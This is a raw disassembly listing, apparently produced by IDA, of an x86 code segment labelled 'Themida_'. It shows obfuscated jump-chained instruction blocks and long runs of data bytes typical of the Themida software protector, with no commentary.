		sub	al, 0C6h
		add	al, 64h
		jmp	loc_596FF7
; ---------------------------------------------------------------------------
		db 5Bh
		dd 2C681h, 34330000h, 24343124h, 5C243433h, 9C240CD2h
		dd 0FF9F00E9h, 9BE381FFh, 81560B57h, 0B3274CF3h, 6FBAE91Eh
		dd 0E9560000h, 0FFFF5C07h
dword_59C7A4	dd 8904EC83h, 0BD552414h, 3CF84CBCh, 0E581D5F7h, 52087504h
					; DATA XREF: Themida_:005908D8o
		dd 46B3E581h, 0F5814D60h, 41D54733h, 60E7E9h
		db 0
; ---------------------------------------------------------------------------


loc_59C7C9:				; CODE XREF: Themida_:0059E00Fj
		xchg	esi, [esp]
		jmp	loc_5A2E2B
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 1568h, 4C4CE900h, 0A7B90000h, 9487144h, 732D59C8h, 561B110h
		dd 1A5ADB2Eh, 0F701E883h, 4C64E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C7FA:				; CODE XREF: Themida_:005A4ED3j
		mov	[esp], ebx
		push	eax
		mov	eax, 743B10ECh
		mov	ebx, 2F303254h
		xor	ebx, eax
		jmp	loc_59D16D
; ---------------------------------------------------------------------------


loc_59C80F:				; CODE XREF: Themida_:005A328Dj
		xor	edi, 13EF6BFAh
		add	eax, edi
		pop	edi
		jmp	loc_592D33
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0FF96B4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59C825:				; CODE XREF: Themida_:00591CAEj
		sub	edx, 7EF756B1h
		add	edx, 9A5B52h
		push	ecx
		mov	ecx, 0
		add	ecx, 15254483h
		jmp	loc_5A56AC
; ---------------------------------------------------------------------------
		dw 0EEC1h
		dd 0E9DEF702h, 0FFFF4BAAh, 8106EEC1h, 0BC3A4BC6h, 70F68132h
		dd 810B8407h, 0E8785CF6h, 0A5EE8172h, 293995AFh, 34FF5EF0h
		dd 904CE924h, 0FF590000h, 0E9582434h, 0FFFFA66Fh, 0EF81D701h
		dd 3A1C7A5Bh, 0E924148Bh, 0FFFFA48Ch, 0C781E789h, 4, 0FFDD67E9h
		dd 0AEBD55FFh, 0E934BB40h, 0FFFFB8AFh, 2793E953h, 14890000h
		dd 0B4ECE924h, 0F581FFFFh, 394E26E7h, 10B2E581h, 814D4983h
		dd 3850D3E5h, 0BAC58133h, 11C095Ah, 0C7015DEFh,	5B0DEF81h
		dd 0D9E91D09h, 51000034h, 4B9h,	8BCE8900h, 0C483240Ch
		dd 90C78104h, 15B5374h,	90EF81F7h, 0FF5B5374h, 535E2434h
		dd 0C381E389h, 4, 8704C383h, 505C241Ch,	2B8h, 0BDC78100h
		dd 0E900623Ch, 89DFh, 43BFE981h, 5E514968h, 24048B59h
		dd 4C481h, 15F0000h, 2434FFF0h,	4C4835Eh, 228E68h, 24348900h
		dd 324A27BEh, 2CE8110h,	816DE924h, 1F6DBEEEh, 67C6E91Ch
		dd 248B0000h, 0F653E924h, 0C731FFFFh, 8324048Bh, 0EE8104C4h
		dd 36A96634h, 0B850FE29h, 453256CCh, 0FF7119E9h, 241C87FFh
		dd 2404285Ch, 4115E99Ch, 10E9FFFFh
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59C98B:				; CODE XREF: Themida_:00594FE2j
		sub	eax, 0E038A860h
		push	ecx
		jmp	loc_5A42B9
; ---------------------------------------------------------------------------


loc_59C996:				; CODE XREF: Themida_:0059728Fj
		not	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5992DB
; ---------------------------------------------------------------------------


loc_59C9A1:				; CODE XREF: Themida_:00593633j
		sub	ah, 0A9h
		sub	cl, 0CCh
		sub	cl, ah
		add	cl, 0CCh
		pop	eax
		push	eax
		jmp	loc_596F59
; ---------------------------------------------------------------------------
		db 58h
		dd 11668h, 243C8900h, 0C4242C81h, 5B3DB439h, 0FF5E00E9h
		dd 243C33FFh, 6624248Bh, 0E9240489h, 0FFFF40C3h
; ---------------------------------------------------------------------------


loc_59C9D8:				; CODE XREF: Themida_:005998BEj
		add	esi, 1
		xor	edi, esi
		xor	esi, edi
		xor	edi, esi
		jmp	loc_59C0A3
; ---------------------------------------------------------------------------
byte_59C9E9	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00590978o
		dd 6659669Dh, 9C2414D3h, 0FF40A2E9h, 0C3815FFFh, 17D21C0Eh
		dd 7C3DC381h, 0C301790Fh, 7C3DEB81h, 0EB81790Fh, 17D21C0Eh
		dd 0E9525158h, 0FFFFBC28h, 5B79C281h, 0F28153FAh, 0F25BD404h
		dd 4EC81h, 3C890000h, 15B3BF24h, 0FE017D59h, 0A9C6815Fh
		dd 16C2234h, 0A9EE81D6h, 0E96C2234h, 0FFFF8B57h
; ---------------------------------------------------------------------------


loc_59CA4C:				; CODE XREF: Themida_:00597A25j
		pop	edx
		push	ebx
		mov	ebx, 18060B0Fh
		add	ecx, ebx
		mov	ebx, [esp]
		push	ecx
		jmp	loc_592FBC
; ---------------------------------------------------------------------------
		dw 5D5Fh
		dd 8B240C87h, 2C892424h, 81E58924h, 4C5h, 0BA525300h, 1F997701h
		dd 0E95AD389h, 0FFFF4758h, 0E9240489h, 0FFFF4013h, 0E904C583h
		dd 0FFFFEBFFh, 0D5176F0Dh, 0D0F74075h, 0D0F7D8F7h, 8C08A2Dh
		dd 0E9C60188h, 615Eh, 81242489h, 42404h, 505F0000h, 0BEBE9h
		db 0
; ---------------------------------------------------------------------------


loc_59CAB9:				; CODE XREF: Themida_:00597323j
		push	eax
		push	0D196C28h
		jmp	loc_59BCE1
; ---------------------------------------------------------------------------
		dd 0E9D1F791h, 0FFFFF89Ah
dword_59CACC	dd 8B2434FFh, 0C4832404h, 89575304h, 4C781E7h, 0E9000000h
					; DATA XREF: Themida_:00590930o
		dd 0FFFF5B1Ah
; ---------------------------------------------------------------------------


loc_59CAE4:				; CODE XREF: Themida_:00597193j
		or	eax, 79C87446h
		add	eax, 1408B5h
		add	edi, eax
		pop	eax
		add	edi, 4
		xchg	edi, [esp]
		pop	esp


loc_59CAFB:				; CODE XREF: Themida_:00597B7Dj
					; Themida_:005A25D0j
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ebx
		pop	edx
		push	edx
		sub	dword ptr [esp], 0B25344Ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A4503
; ---------------------------------------------------------------------------
		dd 8159CF31h, 111F27C1h, 0E9F92929h, 0FFFF7D4Dh, 4BA525Dh
		dd 1000000h, 0E9535AD5h, 10A8h,	68242C89h, 4B5E6795h, 0BAB6E95Dh
		dd 0D5F7FFFFh, 0FF589AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CB51:				; CODE XREF: Themida_:00598FF2j
		mov	ebp, [esp]
		add	esp, 4
		or	eax, 59707A8Ah
		sub	eax, 5A3E7B80h
		jmp	loc_59492F
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 4C4h, 240C8700h, 3124248Bh, 31C231D0h, 0E71FE9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CB7E:				; CODE XREF: Themida_:005A59EFj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A1FD9
; ---------------------------------------------------------------------------


loc_59CB89:				; CODE XREF: Themida_:00594545j
		pop	ecx
		jmp	loc_5A22ED
; ---------------------------------------------------------------------------
		db 81h
		dd 3386BBC6h, 5EF30185h, 34FFD901h, 0FFC4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CBA2:				; CODE XREF: Themida_:005A2B2Aj
		or	edx, 5E452D40h
		xor	edx, 59C53818h
		jmp	loc_5956B6
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9CFFE59h, 0FFFF66A2h, 5501C383h, 4911A2BDh, 0E2C381E4h
		dd 29565947h, 0E2EB81EBh, 0E9565947h, 344Ch
; ---------------------------------------------------------------------------


loc_59CBD8:				; CODE XREF: Themida_:0059151Fj
		mov	eax, [esp]
		jmp	loc_596895
; ---------------------------------------------------------------------------


loc_59CBE0:				; CODE XREF: Themida_:00599848j
		add	edi, eax
		pop	eax
		jmp	loc_5A3155
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4832404h
		db 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		jmp	loc_598B8C
; ---------------------------------------------------------------------------


loc_59CC03:				; CODE XREF: Themida_:0059D8D1j
		mov	eax, 139763F8h
		jmp	loc_59B0CA
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E907EFC1h, 0FFFFF1F6h, 52FCCD81h, 0C5814E28h, 56327A03h
		dd 15DEF89h, 7BE95AD7h,	83FFFFEDh, 0C30104C4h, 0FF847DE9h
		dd 71E05FFh, 852D2243h,	17F4600h, 8505E8h, 0E9527F46h
		dd 0FFFFC0D1h, 5E2434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A2226
; ---------------------------------------------------------------------------
		dd 2032C581h, 0ED8172D8h, 8DFE730Ch, 0E95DEE89h, 1580h
		dd 2434895Ch, 79BF5750h, 814F7958h, 0EE709ACFh,	3EFC162h
		dd 0CF81D7F7h, 5F1C11BDh, 1959C781h, 0F88957EEh, 2E8C15Fh
		dd 91B85055h, 0BD55103Ch, 582731C2h, 0E958C531h, 0FFFFCD2Eh
		dd 8324048Bh, 7CE904C4h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CCC3:				; CODE XREF: Themida_:0059639Cj
		mov	eax, 1F9214Eh
		add	esi, eax
		pop	eax
		jmp	loc_59E000
; ---------------------------------------------------------------------------
		dd 4C2815Ah, 83000000h,	148704EAh, 34895C24h, 38CEBE24h
		dd 7CE92BD2h, 6600008Ah, 665F5BBDh, 6602EDC1h, 6605EDC1h
		dd 8166DDF7h, 0E93E52CDh, 0FFFFC5ACh, 124248Bh,	74BA52EEh
		dd 812B414Eh, 0F94ABAEEh, 0E9D60149h, 0FFFF800Ah, 981AC781h
		dd 0F8015866h, 83243C8Bh, 0C68104C4h, 79314487h, 0C01EE81h
		dd 0C6010AE2h, 0C01C681h, 0EE810AE2h, 79314487h, 2C68158h
		dd 33000000h, 34312434h, 8BB1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59CD56:				; CODE XREF: Themida_:00598B90j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		sub	eax, 27887610h
		add	eax, ebp
		jmp	loc_5A4EFB
; ---------------------------------------------------------------------------
aIHV		db '‰<$h',27h,'V',0
		dw 8300h
		dd 248904ECh, 4BD5524h,	0E9000000h, 4785h
; ---------------------------------------------------------------------------


loc_59CD80:				; CODE XREF: Themida_:005A0195j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		jmp	loc_599D3A
; ---------------------------------------------------------------------------
aSV_0		db '(Ëé\V',0
		align 4


loc_59CD98:				; CODE XREF: Themida_:005A34F1j
		mov	[esp], ecx
		jmp	loc_59A608
; ---------------------------------------------------------------------------


loc_59CDA0:				; CODE XREF: Themida_:005A2EEBj
		mov	ecx, 2C292C96h
		push	ebx
		mov	ebx, 0CBE07A1h
		jmp	loc_59DCF6
; ---------------------------------------------------------------------------
		dd 6824048Fh, 5D6Eh, 0FFA771E9h, 47F280FFh, 7BEA80h, 6114E9D3h
		dd 0C181FFFFh, 50D675C1h, 8105E9C1h, 9D2C9FF1h,	8BCD294Eh
		dd 0C483240Ch, 15EE8104h, 16C9305h, 36D2E9EEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59CDEE:				; CODE XREF: Themida_:005969B1j
		pop	edi
		jmp	loc_5A32DC
; ---------------------------------------------------------------------------
		dd 3CF1815Ah, 811AC71Ah, 0CC217CC7h, 68CF2968h,	2CFFh
		dd 0BE243489h, 20341A93h, 0F917EE81h, 0C781B767h, 7B106ECCh
		dd 0FFD200E9h, 0D7EE81FFh, 0F758417Bh, 53EE81D6h, 2970F468h
		dd 0B8505EF0h, 4B6802E9h, 6658070Dh, 2F390503h,	3F3566D0h
		dd 1A1E4EBh, 0F2E958C7h, 89000087h, 0C0E9242Ch,	83FFFFBBh
		dd 2C8904ECh, 26824h, 515D0000h, 0D43AFAB9h, 0C8C98164h
		dd 811A692Ch, 1E322EC1h, 0E9CA01D8h, 0FFFFAEECh
; ---------------------------------------------------------------------------


loc_59CE7C:				; CODE XREF: Themida_:005956E4j
		mov	edx, [esp]
		add	esp, 4
		add	edi, edx
		sub	edi, 28F50733h
		pop	edx
		sub	edi, 4573456Ah
		add	edi, ecx
		jmp	loc_5A1942
; ---------------------------------------------------------------------------


loc_59CE98:				; CODE XREF: Themida_:0059C754j
		mov	[esp], esp
		jmp	loc_592967
; ---------------------------------------------------------------------------


loc_59CEA0:				; CODE XREF: Themida_:005A401Fj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5A10F7
; ---------------------------------------------------------------------------
		dd 0C127F6BDh, 0F2ED8124h, 0E924C127h, 2FEFh
; ---------------------------------------------------------------------------


loc_59CEC8:				; CODE XREF: Themida_:00593339j
		pop	edi
		mov	edx, 5C8C13CBh
		xor	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59997D
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 2, 0E9242C33h, 0FFFF8505h, 0E9243C8Bh, 0FFFFB2AEh, 0BF575954h
		dd 4, 8CA6E9h, 24148900h, 0FFDE8AE9h, 4C483FFh,	4C681h
		dd 57510000h, 7B70ED68h, 6BE95F2Ch, 0C000004Eh,	0C68003E6h
		dd 5AF0281Ah, 0FFEF0BE9h, 24248BFFh, 0E924048Fh, 0FFFF3B63h
		dd 8C65E953h, 0C281FFFFh, 4, 4B951h, 68E90000h,	56FFFFB6h
		dd 8C48A7BEh, 81EED125h, 0F40EC5EEh, 0C1D6F779h, 0F68106EEh
		dd 1ECAAE77h, 5B5EF729h, 4C781h, 3C870000h, 0C3305C24h
		dd 4D82E9h, 4C48300h, 6F3E951h,	248B0000h, 1187E924h, 34870000h
		dd 23E95C24h, 1FFFFE8h,	5F04247Ch, 0FF4372E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59CFA1:				; CODE XREF: Themida_:005A29ABj
		xchg	ebx, [esp]
		pop	esp
		pop	ebx
		xchg	ecx, ebx
		not	ecx
		jmp	loc_59229B
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0F381D3F7h, 0ED81F4CCh, 24348153h, 44A6106Dh, 6DF5815Dh
		dd 5B44A610h, 4246C01h,	0E9242C8Bh, 0FFFFDDE0h
; ---------------------------------------------------------------------------


loc_59CFD4:				; CODE XREF: Themida_:00593BA4j
		sub	esp, 4
		jmp	loc_5945F6
; ---------------------------------------------------------------------------
		dd 24048759h, 6624248Bh, 5624048Bh, 0EBE95E54h,	0C1FFFFCDh
		dd 0FF2D08E0h, 2921892Fh, 0D14358C3h, 4ABD55E3h, 810BBD02h
		dd 0A50E00EDh, 0E9E5816Eh, 0E9097730h, 0FFFF5771h
; ---------------------------------------------------------------------------


loc_59D014:				; CODE XREF: Themida_:00599978j
		shr	ebx, 6
		add	ebx, 0FEBE1F1Eh
		jmp	loc_5A2FD0
; ---------------------------------------------------------------------------
aRRaGqpskl	db 'R²R€êgQPéKl',0
		db 0
; ---------------------------------------------------------------------------


loc_59D02F:				; CODE XREF: Themida_:0059D9EBj
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5A16A9
; ---------------------------------------------------------------------------
		db 57h,	0E9h, 0E3h
		dd 81FFFF42h, 0AAA35AC3h, 5BDE890Ah, 348BF031h,	4C48324h
		dd 5E0FE955h, 0EE810000h, 818AA519h, 348BF789h,	0E1895124h
		dd 4C181h, 55560000h, 0FF889AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D075:				; CODE XREF: Themida_:00592CCBj
		push	cx
		push	ax
		mov	al, dh
		mov	dh, [esp+3]
		mov	[esp+3], al
		pop	ax
		xor	dh, ah
		jmp	loc_5A3F83
; ---------------------------------------------------------------------------


loc_59D08C:				; CODE XREF: Themida_:00596420j
		pop	esi
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_594B95
; ---------------------------------------------------------------------------


loc_59D09B:				; CODE XREF: Themida_:0059C430j
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_59B191
; ---------------------------------------------------------------------------
		db 81h
		dd 0BA3997F6h, 2EBAE97Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D0BA:				; CODE XREF: Themida_:005A2671j
		dec	eax
		or	eax, 2E8E1F72h
		inc	eax
		add	eax, 0D461148Ch
		mov	ebx, eax
		pop	eax
		not	ebx
		jmp	loc_59A78F
; ---------------------------------------------------------------------------


loc_59D0D0:				; CODE XREF: Themida_:00594341j
		mov	ebx, [esp]
		jmp	loc_5A033A
; ---------------------------------------------------------------------------
		dd 2E2E3CBEh, 0F58CB825h, 0F0013F62h, 0FF782BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D0E9:				; CODE XREF: Themida_:00596F93j
		shr	edx, 1
		jmp	loc_5A5824
; ---------------------------------------------------------------------------


loc_59D0F0:				; CODE XREF: Themida_:00599889j
		mov	[esp], ecx
		jmp	loc_59917C
; ---------------------------------------------------------------------------
		dd 0E1C0D1F6h, 23F18005h, 0E963EB80h, 0FFFF6165h
; ---------------------------------------------------------------------------


loc_59D108:				; CODE XREF: Themida_:005A0654j
		mov	eax, [esp]
		add	esp, 4
		push	6A11h
		mov	[esp], ebx
		sub	dword ptr [esp], 12AC71C2h
		jmp	loc_5975BB
; ---------------------------------------------------------------------------
		dw 3489h
		dd 0E2C2E924h, 0D729FFFFh, 5FF8895Ah, 0C558D92Dh, 2713567h
		dd 0F70500AFh, 126DAF6h, 0BA5258C1h, 21AA5CDFh,	5430BE56h
		dd 0DEF77FF9h, 78B5F681h, 0F6814FA1h, 3CB82F1Dh, 44EE8146h
		dd 21C79CD0h, 24348BF2h, 0FF3FD1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D16D:				; CODE XREF: Themida_:0059C80Aj
		pop	eax
		add	ebx, 70C17008h
		neg	ebx
		jmp	loc_593A80
; ---------------------------------------------------------------------------
		db 81h
		dd 4CB76EC7h, 44E1E9B3h, 0C4FEFFFFh, 0E905ECC0h, 0FFFFBBDDh
		dd 83240C8Bh, 6DE904C4h, 29000081h, 6C88E9C3h, 0EA810000h
		dd 5515ADFh, 2C28358h, 8B241487h, 53662424h, 7BEA68h, 0C9B9E900h
		dd 0F301FFFFh, 8124348Bh, 4C4h,	6E76800h, 34890000h, 2BF5724h
		dd 0E93A2408h, 0FFFFC475h
dword_59D1DC	dd 0DCC7E9ACh, 0D9BBFFFFh, 0E96E5475h, 0FFFFFE57h
					; DATA XREF: Themida_:005908A0o
; ---------------------------------------------------------------------------


loc_59D1EC:				; CODE XREF: Themida_:0059271Cj
		push	eax
		mov	al, 0F8h
		inc	al
		jmp	loc_5A4F1B
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFF9D69h, 5B55BB53h, 80E947B2h, 47FFFF7Dh,	0FFBF64E9h
		dd 0B95150FFh, 11DE5AADh, 0DE5AA9B8h, 8203E911h, 0B050FFFFh
		dd 2E0C0B8h, 17E9DA24h,	0BEFFFF44h, 29AD5A9Ch, 565EF289h
		dd 0FFB4AFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D239:				; CODE XREF: Themida_:005A0D24j
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_593DB5
; ---------------------------------------------------------------------------
		db 5Fh
		dd 34FFFA31h, 0E301E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D24E:				; CODE XREF: Themida_:0059966Bj
		pop	ebx
		add	esi, 5EDB3F25h
		jmp	loc_59B41B
; ---------------------------------------------------------------------------


loc_59D25A:				; CODE XREF: Themida_:00599B5Ej
		push	edx
		mov	edx, 37416B39h
		jmp	loc_59D8A8
; ---------------------------------------------------------------------------


loc_59D265:				; CODE XREF: Themida_:005A090Fj
		add	esi, edx
		jmp	loc_595689
; ---------------------------------------------------------------------------


loc_59D26C:				; CODE XREF: Themida_:0059DB57j
		shl	eax, 4
		jmp	loc_598BFB
; ---------------------------------------------------------------------------
		dd 0E958C529h, 0FFFF6720h, 6638C380h, 6824148Bh, 151h
		dd 0FF91E9E9h, 24148BFFh, 4C481h, 0E9550000h, 181Ch, 4BB53h
		dd 0D9010000h, 6D8BE95Bh, 0C3300000h, 0FFC0B60Fh, 34FF8734h
		dd 2434FF24h, 5A545258h, 4EC81h, 3C890000h, 5BDDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D2CA:				; CODE XREF: Themida_:0059F6DCj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5924F8
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EC8102E2h, 4, 0E9240489h, 0FFFFA060h, 5B9CE95Ah, 248B0000h
		dd 0C83B6624h, 37A1E99Ch, 489FFFFh, 24048124h, 7EF979BEh
		dd 0BEBB535Ah, 837EF979h, 0DEE904ECh, 0BEFFFF4Fh, 4963018Dh
		dd 0EC1E681h, 21E93D7Ch, 1FFFFB2h, 0C875AD1h, 71C4E924h
		dd 5E680000h, 89000057h, 5A542414h, 4EC81h, 0C890000h
		dd 237CB924h, 0E1C1627Bh, 0CCE18106h, 811EEB7Fh, 5E34A8F1h
		dd 82E9553Fh
		db 5Ah,	2 dup(0FFh)
byte_59D35B	db 0FFh			; DATA XREF: Themida_:00590918o
		dd 589D1C77h, 9C240411h, 0FF3732E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D369:				; CODE XREF: Themida_:00591A24j
		mov	ecx, 4A3301D7h
		sub	eax, 6ECA5173h
		sub	eax, ecx
		jmp	loc_5A0A7E
; ---------------------------------------------------------------------------
		dw 1487h
		dd 0A6E95C24h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D383:				; CODE XREF: Themida_:005A2ED8j
		add	esp, 4
		and	eax, edi
		jmp	loc_5A00D8
; ---------------------------------------------------------------------------


loc_59D390:				; CODE XREF: Themida_:0059F00Dj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		mul	ecx
		jmp	loc_599E8C
; ---------------------------------------------------------------------------
		db 80h
		dd 0EF28B2F5h, 82E95259h, 0E900000Fh, 0FFFF36E7h, 4452EF81h
		dd 0F829C46Eh, 2812E95Fh, 0C2290000h, 0D8C28158h, 81046302h
		dd 2A76BEEAh, 24048B5Fh, 0FF972BE9h, 0E9FB01FFh, 0FFFF49E7h
		dd 9C240CD3h, 0FF36B2E9h, 885053FFh, 58E788D4h,	424548Ah
		dd 0FFDC26E9h, 48F5BFFh, 24248B24h, 12B45058h, 800AB753h
		dd 0FC08B1EFh, 0A3C0E95Bh, 885CFFFFh, 80E95A02h
		db 36h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D41B:				; CODE XREF: Themida_:00599D3Dj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		push	eax
		push	ebx
		push	65CB1342h
		pop	ebx
		sub	ebx, 67BA4A27h
		add	ebx, 1A554B95h
		sub	ebx, 186614ACh
		mov	eax, ebx
		pop	ebx
		add	edx, 463D0EFDh
		add	edx, eax
		sub	edx, 463D0EFDh
		pop	eax
		push	eax
		mov	eax, 4
		add	edx, eax
		mov	eax, [esp]
		jmp	loc_594154
; ---------------------------------------------------------------------------
		db 5Ch
		dd 240C8B66h, 0FF8343E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D479:				; CODE XREF: Themida_:005A464Fj
		pop	eax
		sub	esi, edi
		pop	edi
		add	esi, eax
		add	esi, 3D5F5AB1h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_5A5685
; ---------------------------------------------------------------------------
		dd 4C281h, 0C2830000h, 7F11E904h, 34FFFFFFh, 4C7EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59D4A6:				; CODE XREF: Themida_:0059385Ej
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		push	ecx
		jmp	loc_59FC24
; ---------------------------------------------------------------------------


loc_59D4B6:				; CODE XREF: Themida_:005A1057j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_59D9F0
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4244401h, 8324048Bh,	1C8B04C4h, 4C48324h, 7B04BD55h
		dd 0EB817B0Eh, 1B5783Ah, 68CDE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D4ED:				; CODE XREF: Themida_:005917ADj
		push	edi
		push	esp
		pop	edi
		jmp	loc_59FA27
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 25CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_59D4FD:				; CODE XREF: Themida_:0059DE0Bj
		sub	dl, 0ADh
		add	bl, dl
		mov	edx, [esp]
		add	esp, 4
		add	al, bl
		pop	ebx
		sub	al, 0B4h
		jmp	loc_5A1CDD
; ---------------------------------------------------------------------------


loc_59D512:				; CODE XREF: Themida_:00595BE7j
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_59D757
; ---------------------------------------------------------------------------


loc_59D51D:				; CODE XREF: Themida_:005A5429j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A2524
; ---------------------------------------------------------------------------
aFyst		db 'fYé’*',0
		align 4
aCss		db '²Cé‘:',0
		dw 3100h
		dd 808BE9DDh, 0D829FFFFh, 83241C8Bh, 8B2D04C4h,	170B966h
		dd 0D58EE9D0h, 0DBF7FFFFh, 8106E3C1h, 840B27F3h, 5BD83172h
		dd 70CB6852h, 3C890000h, 4BFFBF24h, 33BA0254h, 16B95D9h
		dd 5640E9FAh, 0B9510000h, 7762429Bh, 0FFEE35E9h, 4C581FFh
		dd 55000000h, 3C81E9h, 51C72900h, 0FFD360E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D5A5:				; CODE XREF: Themida_:005A41DFj
		mov	[esp], ebx
		mov	ebx, esp
		push	1761h
		mov	[esp], edx
		mov	edx, 4
		push	edi
		jmp	loc_59B9B4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
aSsw		db '$é˜w',0
		align 2
		dw 0BCBBh
		dd 0D1058C06h, 8EBC1EBh, 0B951h, 0D9290000h, 0ADE95153h
		db 2Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59D5DF:				; CODE XREF: Themida_:00598AE5j
		sub	edi, eax
		pop	eax
		push	edx
		mov	edx, 2AB14F3Eh
		inc	edx
		jmp	loc_5A2B6F
; ---------------------------------------------------------------------------


loc_59D5EE:				; CODE XREF: Themida_:005A1C5Aj
		inc	ecx
		xchg	eax, ecx
		xchg	eax, edi
		not	edi
		xchg	eax, edi
		xchg	eax, ecx
		xchg	eax, ecx
		not	eax
		push	ecx
		push	eax
		pop	ecx
		pop	eax
		push	608Dh
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		jmp	loc_5943A1
; ---------------------------------------------------------------------------
		dd 7E4F6BBAh, 0E9DAF72Ah, 48F3h, 815BDF01h, 0DA9942F7h
		dd 0CE35E94Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D62A:				; CODE XREF: Themida_:005A4F22j
		pop	edx
		or	dl, bl
		pop	ebx
		jmp	loc_5920D5
; ---------------------------------------------------------------------------


loc_59D633:				; CODE XREF: Themida_:0059853Fj
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	edx
		push	0E7B3228h
		pop	edx
		sub	ebx, 3697804h
		add	ebx, edx
		add	ebx, 3697804h
		mov	edx, [esp]
		push	ecx
		jmp	loc_59D8B8
; ---------------------------------------------------------------------------
		dd 54242C89h, 0BA3AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59D66E:				; CODE XREF: Themida_:00592CF7j
		mov	ebp, 0C81931DEh
		push	ebx
		jmp	loc_59E28F
; ---------------------------------------------------------------------------
		db 0B9h, 81h, 2Fh
		dd 0CD2977D2h, 0FFE845E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59D685:				; CODE XREF: Themida_:00597960j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_5A2640
; ---------------------------------------------------------------------------


loc_59D694:				; CODE XREF: Themida_:0059ABD5j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_5A0D78
; ---------------------------------------------------------------------------
		dd 661EEEB8h, 0B5E95122h, 81FFFF99h, 4C4h, 487EE900h, 0DCE90000h
		dd 66FFFF33h, 83C30058h, 148904ECh, 0B2525124h,	0D5E280A2h
		dd 0E942CA80h, 0FFFF7434h
; ---------------------------------------------------------------------------


loc_59D6D8:				; CODE XREF: Themida_:00590B20j
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5A04AA
; ---------------------------------------------------------------------------
aI4Ich		db '‰4$‰æh',27h,'{',0
		align 2
		dw 1C89h
